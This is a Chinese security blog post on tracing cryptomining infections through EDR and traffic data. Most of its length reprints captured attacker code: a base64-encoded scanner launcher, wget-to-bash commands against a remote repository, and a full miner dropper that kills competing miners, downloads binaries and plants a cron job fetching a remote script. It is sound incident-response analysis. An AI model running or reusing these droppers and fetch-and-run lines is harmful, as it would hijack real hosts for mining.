如何溯源挖矿主机

bt0sea 系统安全 2019年9月17日发布
Favorite收藏

导语:早期我们判定挖矿主机是通过全流量分析引擎,对外联数据做威胁情报匹配,如果发现外联IP或者域名存在挖矿特征则告警。但是伴随着安全应急响应的深入,我们发现此类误报率偏高,那么,我们如何更有效的石锤恶意挖矿行为并且形成自动化攻击溯源的威胁模型呢?

0x00、前言

早期我们判定挖矿主机是通过全流量分析引擎,对外联数据做威胁情报匹配,如果发现外联IP或者域名存在挖矿特征则告警。但是伴随着安全应急响应的深入,我们发现此类误报率偏高,那么,我们如何更有效的石锤恶意挖矿行为并且形成自动化攻击溯源的威胁模型呢?本期和大家讨论这个问题。

0x01、如何入手调查

这是一个最基本的问题,假设你是一个外行人,如何判断一台机器种了挖矿病毒?大部分人的回答应该是CPU负载过高,OK就从这入手调查。

前提条件,在你的企业中,网络侧,需要拥有一套全流量分析系统,至少包含:威胁情报匹配、传统规则匹配的NIDS、机器学习DGA域名判定。主机侧需要拥有EDR Agent,尽可能的收集主机上网络、进程信息、CPU内存磁盘IO等信息,同时具备传统主机安全威胁发现的能力(例如:暴力破解、rootkit检测、命令行审计等)。

第一步:可疑进程判定

我们在Elastic search中查询,确定哪些服务器的CPU数据为高负载进程。通常的做法是,CPU负载可疑通过Top命令获取,Load Avg: 1.86(1分钟), 1.70(5分钟), 2.44(15分钟),我们观察第三个指标当数值超过2以上,再统计CPU使用率,同时满足:CPU使用率超过80%,并且持续时间超过15分钟。

我们需要的数据是:

用户名称、主机标识、进程名、进程路径、进程MD5。

通过查询kibanna,我们获取相关的列表:(本次只显示一条,生产环境会存在多条),

用户名称:user0001

主机标识:xxx-xxx

进程名:cron

进程路径:/home/apps/.nullcache/a/cron

md5:262f8b44bbc58b1cc237a289a6e968f7

异常情况说明:不是每个可疑的进程都存在md5,很多进程都是在新增或者删除的过程中,获取不到进程文件相关的数据。

第二步:确定感染范围,通过进程md5查询全网是否存在多台可疑的主机,并且查看其衍生进程路径。

image.png

第三步:确定感染时间,选中其中的一台主机,查询其进程关联的socket外连情况,同时查询kibana中最早的socket连接时间,本案例确定的最早连接时间为:2019年8月21日16点20左右。

第四步:入侵溯源,在2019年8月21日16点20左右查询所有搜集的数据,我们发现当时进程信息上报了一条bash执行记录。打开cmdlime发现:

checktime_meitu_1.jpg

bash -c sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash

发现黑客通过base64编码逃避规则引擎的检测。解密后发现:

!/bin/bash
cd /tmp
rm -rf .ssh
rm -rf .mountfs
rm -rf .X13-unix
rm -rf .X17-unix
mkdir .X17-unix
cd .X17-unix
mv /var/tmp/dota.tar.gz dota.tar.gz
tar xf dota.tar.gz
sleep 3s && cd /tmp/.X17-unix/.rsync/c
nohup /tmp/.X17-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m && nohup /tmp/.X17-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1&
sleep 20m && cd ..; /tmp/.X17-unix/.rsync/initall 2>1&
exit 0

同时发现hadoop机器上一个匿名用户dr.who起了一个yarn Application,执行了

/bin/bash -c wget -q -O – https://bitbucket.org/qwindra431/mygit/raw/master/zz.sh | bash

    "xxx": {
      "realpath": "/hadoop/yarn/nm/usercache/dr.who/appcache/application_1566136664058_20304/container_1566136664058_20304_02_000001/-c",
      "gid": 980,
      "md5": "0719e857695fd4c17ad5bb4547909e5a",
      "name": "bash",
      "pid": 11466,
      "cmdline": "/bin/bash -c wget -q -O - https://bitbucket.org/qwindra431/mygit/raw/master/zz.sh | bash",
      "groupname": "yarn",
      "username": "yarn",
      "path": "/usr/bin/bash",
    },

确定了入侵源。

#!/bin/bash
pkill -f systemctI
pkill -f kworkerds
pkill -f init10.cfg
pkill -f wl.conf
pkill -f crond64
pkill -f watchbog
pkill -f sustse
ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>11{print $2}' | xargs kill -9
pkill -f donate
pkill -f proxkekman
pkill -f 158.69.133.18
pkill -f 192.99.142.246
pkill -f test.conf
pkill -f /var/tmp/apple
pkill -f /var/tmp/big
pkill -f /var/tmp/small
pkill -f /var/tmp/cat
pkill -f /var/tmp/dog
pkill -f /var/tmp/mysql
pkill -f /var/tmp/sishen
pkill -f ubyx
pkill -f /var/tmp/mysql
rm -rf /var/tmp/mysql
ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9
ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f cpu.c
pkill -f tes.conf
pkill -f psping
ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9
pkill -f /var/tmp/java-c
pkill -f pscf
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*
pkill -f ririg
rm -rf /var/tmp/ntpd
pkill -f /var/tmp/ntpd
rm -rf /var/tmp/ntp
pkill -f /var/tmp/ntp
rm -rf /var/tmp/qq
rm -rf /var/tmp/qq1
pkill -f /var/tmp/qq
rm -rf /tmp/qq
rm -rf /tmp/qq1
pkill -f /tmp/qq
pkill -f /var/tmp/aa
rm -rf /var/tmp/aa
rm -rf /var/tmp/gg
rm -rf /var/tmp/gg1
pkill -f gg1.conf
rm -rf /var/tmp/hh
rm -rf /var/tmp/hh1
pkill -f hh1.conf
pkill -f apaqi
rm -rf /var/tmp/apaqi
pkill -f dajiba
rm -rf /var/tmp/dajiba
pkill -f /var/tmp/look
rm -rf /var/tmp/look
pkill -f /var/tmp/nginx
rm -rf /var/tmp/nginx
rm -rf /var/tmp/dd
rm -rf /var/tmp/dd1
rm -rf /var/tmp/apple
pkill -f dd1.conf
pkill -f kkk1.conf
pkill -f ttt1.conf
pkill -f ooo1.conf
pkill -f ppp1.conf
pkill -f lll1.conf
pkill -f yyy1.conf
pkill -f 1111.conf
pkill -f 2221.conf
pkill -f dk1.conf
pkill -f kd1.conf
pkill -f mao1.conf
pkill -f YB1.conf
pkill -f 2Ri1.conf
pkill -f 3Gu1.conf
pkill -f crant
DIR="/tmp"
if [ -a "/tmp/java" ]
then
    if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /tmp/java | awk '{ print $1 }')
            echo $sum
            case $sum in
                bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853)
                    echo "Java OK"
                ;;
                *)
                    echo "Java wrong"
                    rm -rf /tmp/java
                    pkill -f w.conf
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/var/tmp" ]
    then
        DIR="/var/tmp"
    fi
    echo "P NOT EXISTS"
fi
if [ -d "/tmp/java" ]
then
    DIR=$(mktemp -d)/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
    WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
    WGET="wget -O";
fi
downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/java ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/java | awk '{ print $1 }')
        echo $sum
        case $sum in
            bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
            ;;
            *)
                echo "Java wrong"
                sizeBefore=$(du $DIR/java)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                echo "" > $DIR/tmp.txt
                rm -rf $DIR/java
                download
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}
download() {
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')
        echo $sum
        case $sum in
            bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
                cp $DIR/pscf3 $DIR/java
            ;;
            *)
                echo "Java wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}
download2() {
    $WGET $DIR/java https://bitbucket.org/qwindra431/mygit/raw/master/x_64
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/java | awk '{ print $1 }')
        echo $sum
        case $sum in
            bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
                cp $DIR/java $DIR/pscf3
            ;;
            *)
                echo "Java wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}
sed -i '$d' /etc/ld.so.preload
netstat -antp | grep '37.59.44.93\|37.59.54.205\|192.99.142.232\|158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
if [ "$(netstat -ant|grep '37.59.44.93\|37.59.54.205\|192.99.142.232\|158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
    ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
    do
        kill -9 $procid
    done
else
    echo "Running"
fi
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
    downloadIfNeed
    chmod +x $DIR/java
    $WGET $DIR/w.conf https://bitbucket.org/qwindra431/mygit/raw/master/w.conf
    nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
    sleep 5
    rm -rf $DIR/w.conf
else
    echo "Running"
fi
if crontab -l | grep -q "193.57.40.46"
then
    echo "Cron exists"
else
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
    (crontab -l 2>/dev/null; echo "* * * * * $LDR http://193.57.40.46/cr.sh | sh > /dev/null 2>&1")| crontab -
fi
pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/202.144.193.167/d' | crontab -
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/8220/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/45.77.86.208/d' | crontab -
crontab -l | sed '/144.202.8.151/d' | crontab -
crontab -l | sed '/192.99.55.69/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -

0x02、入侵模型抽象

威胁模型.png

本文为 bt0sea 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址: https://www.4hou.com/system/20309.html
点赞 4
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论